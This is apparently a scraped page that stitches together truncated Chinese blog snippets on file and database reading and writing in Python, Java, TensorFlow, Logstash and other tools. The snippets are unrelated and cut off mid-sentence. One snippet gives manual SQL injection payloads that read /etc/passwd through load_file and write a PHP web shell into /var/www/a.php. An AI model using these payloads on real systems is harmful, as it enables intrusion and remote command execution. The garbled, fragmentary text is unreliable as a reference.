# coding=utf-8 ''''' Created on 2020-01-05 @author: Mr. Zheng ''' import json; import urllib2 import sys import cx_Oracle import exceptions # page=urllib2.urlopen("http://").read() # jsonVal = json.loads(page) def read_json_file(file_name): file

Delphi中使用python脚本读取Excel数据2007-10-18 17:28:22标签:Delphi Excel python原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://seewind.blog.51cto.com/249547/46669前段时间,在正式项目中使用Python来读取Excel表格的数据.具体需求是,项目数据库中有些数据需要根据Excel表格里面的数据进行一些调整,功能应该比较简单.为了学习Pyth

我们在用python进行数据处理时往往需要将文件中的数据取出来做一些处理,这时我们应该注意数据文件的路径.文件路径不对,回报如下错误: FileNotFoundError: File b'..Advertising.csv' does not exist 这里列举几种常见的文件路径 1.当文件在当前目录下时:直接用单引号文件名 import numpy as nppath='testdata.csv'data=np.read_csv(path) 2.文件在上一级目录时:大家注意windows读取

用python在后端将数据写入到数据库: # coding:utf- import pandas as pd from sqlalchemy import create_engine # 初始化数据库连接,使用pymysql模块 # MySQL的用户:root, 密码:, 端口:,数据库:mydb engine = create_engine('mysql+pymysql://root:123456@localhost:3306/python1') import numpy as np impo

一.前言 一般来说,为了方便,使用python的时候都会使用csv模块去写数据到csv文件,但是写入中文的时候,经常会报错: UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-3: ordinal not in range(128) 我试过直接用utf8编码打开文件,然后直接将要写入的字段拼接为逗号分隔的字符串,虽然能解决中文写入的问题,但是操作很麻烦.而且直接使用excel打开的时候,还是会显示乱码.

Properties 配置文件写入主要通过 Properties.setProperty 和 Properties.store 两个方法,此文以一个简单的 properties 文件写入源码做示例. 小二上码...若有不足之处,敬请大神指正,不胜感激! Properties 文件写入源码如下所示: /** * @function write data to text file by Properties * * @author Aaron.ffp * @version V1.0.0: autoU

python在读取文件时出现“UnicodeDecodeError:'gbk' codec can't decode byte 0x89 in position 68: illegal multibyte sequence”错误 翻译为:“GBK”编解码器不能解码位置68中的字节0x89:非法多字节序列 可能是解码的时候读取文件和编辑器所用的编码导致的(我读取的文档是UTF - 8,但pycharm是GBK). 解决办法有两种: 第一种: f= open('file','r', encoding

package com.inputstream; /* File类: 用于描述一个文件或者文件夹的. 通过File对象我们可以读取文件或者文件夹的属性数据,如果我们需要读取文件的内容数据,那么我们需要使用IO流技术. IO流(Input Output) IO流解决问题: 解决设备与设备之间的数据传输问题. 内存--->硬盘 硬盘--->内存 IO流技术: IO流分类: 如果是按照数据的流向划分: 输入流 输出流 如果按照处理的单位划分: 字节流: 字节流读取得都是文件中二进制数据,读取到二进制

TensorFlow csv读取文件数据(代码实现) 大多数人了解 Pandas 及其在处理大数据文件方面的实用性.TensorFlow 提供了读取这种文件的方法. 前面章节中,介绍了如何在 TensorFlow 中读取文件,本文将重点介绍如何从 CSV 文件中读取数据并在训练之前对数据进行预处理. 将采用哈里森和鲁宾菲尔德于 1978 年收集的波士顿房价数据集(http://lib.stat.cmu.edu/datasets/boston),该数据集包括 506 个样本场景,每个房屋含 14

1题目要求: 文本文件有这些数据,需要的只有其中的5个属性,如下颜色标记 像以下的数据达到75万组: 1product/productId: B0000UIXZ4 2product/title: Timex Link USB Watch 3product/price: unknown 4review/userId: A14MVG2I9PS6NZ 5review/profileName: B. Kuiper "Wah" 6review/helpfulness: 0/0 7review/s

import pandas as pd import matplotlib.pyplot as plt import pymongo %matplotlib inline # 连接mongodb数据库 client = pymongo.MongoClient("localhost") # 连接数据库 db = client["lianjia"] # 数据表 fangyuan = db["fangyuanbigsz"] # 将mongodb中的数据

我们用open方法打开文件有时候会有一些问题,因为open打开文件只能写入str类型,而不会管字符串是什么编码方式. 示例: >>> fr = open('test.txt','a') >>> line1 = "我爱祖国" >>> fr.write(line1) 有编码不统一的时候,此时写入open方式打开的文件就有问题了. >>> line2 = u'我爱祖国' >>> fr.write(lin

背景:将mysql表查询结果写入excel. 1.使用sqlyog工具将查询结果导出到Excel.xml中,用excel打开发现:因为text字段中有回车换行操作,显示结果行是乱的. 2.用mysql -uadmin -p -h -P -NBe"select * from tb;" >>a.txt 导出.发现用TXT查看还是excel查看也是乱序. 3.下面是用Python的xlsxwriter模块写入excel文件. 数据库表: CREATE TABLE `s1` ( 

在平时的工作中,经常会遇到造数据,特别是性能测试的时候更是需要大量的数据.如果一条条的插入数据库或者一条条的创建数据,效率未免有点低.如何快速的造大量的测试数据呢?在不熟悉存储过程的情况下,今天给大家介绍一种方法,很简单的也很实用.思路是用python代码写一段小程序,生成一定数量的SQL语句,再把这些SQL语句拷贝黏贴到数据库工具执行SQL即可. 假如有个联系人的学生表student,其表结构为姓名name.学校school.电话telphone.邮箱email. 以Mysq为例子,sql语句

利用binlog日志恢复数据库误操作数据 在人工手动进行一些数据库写操作的时候(比方说数据修改),尤其是一些不可控的批量更新或删除,通常都建议备份后操作.不过不怕万一,就怕一万,有备无患总是好的.在线上或者测试环境误操作导致数据被删除或者更新后,想要恢复,一般有两种方法. 方法一.利用最近的全量备份+增量binlog备份,恢复到误操作之前的状态,但是随着数据量的增大,binlog的增多,恢复起来很费时.方法二.如果binlog的格式为row,那么就可以将binlog解析出来生成反向的原始SQL

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

NSBundle和NSURL的区别: 在项目的工程中添加一个文件,本例程添加的是aa.txt,文件的内容为百度: www.baidu.com,现在要使用NSBundle和NSURL分别去获取内容,代码如下: // 读取文件内容 // 方法1:按照文件路径读取 NSString *pathBundle = [[NSBundle mainBundle]pathForResource:@"aa" ofType:@"txt"]; NSString *outstringbun

最近自学Python的进度比较慢,工作之余断断续续的看着效率比较低,看来还是要狠下心来每天进步一点点. 还记得前段时间陈大猫提了一口"先实现用python读取本地文件",碰巧今天看到文件与异常,结合练习整理下用Python读取本地文件的代码: import os #从标准库导入os模块 os.chdir('F:\HeadFirstPython\chapter3') #切换到包含数据文件的文件夹 data = open('sketch.txt') #打开一个命名文件,将文件赋给名为dat

要处理的文件: 此处处理将00的数据干掉. 处理python脚本: dir_fd = open('abc.yuv','rb+') tmp_fd = open('tmp.yuv','wb+') while True: content = dir_fd.read() # content.) if content==b'\x00': continue if content==b'': tmp_fd.write("/n") break print(content) tmp_fd.write(c

强大的功能,丰富的插件,让logstash在数据处理的行列中出类拔萃 通常日志数据除了要入ES提供实时展示和简单统计外,还需要写入大数据集群来提供更为深入的逻辑处理,前边几篇ELK的文章介绍过利用logstash将kafka的数据写入到elasticsearch集群,这篇文章将会介绍如何通过logstash将数据写入HDFS 本文所有演示均基于logstash 6.6.2版本 数据收集 logstash默认不支持数据直接写入HDFS,官方推荐的output插件是webhdfs,webhdfs使用

前言 Java NIO(new/inputstream outputstream)使用通道.缓冲来操作流,所以要深刻理解这些概念,尤其是,缓冲中的数据结构(当前位置(position).限制(limit).容量(capacity)),这些知识点要通过写程序慢慢体会. NIO vs  传统IO NIO是面向缓冲.通道的:传统IO面向流 通道是双向的既可以写.也可以读:传统IO只能是单向的 NIO可以设置为异步:传统IO只能是阻塞,同步的 缓冲区结构图 NIO是面向缓冲区的,缓冲区可以理解为一块内存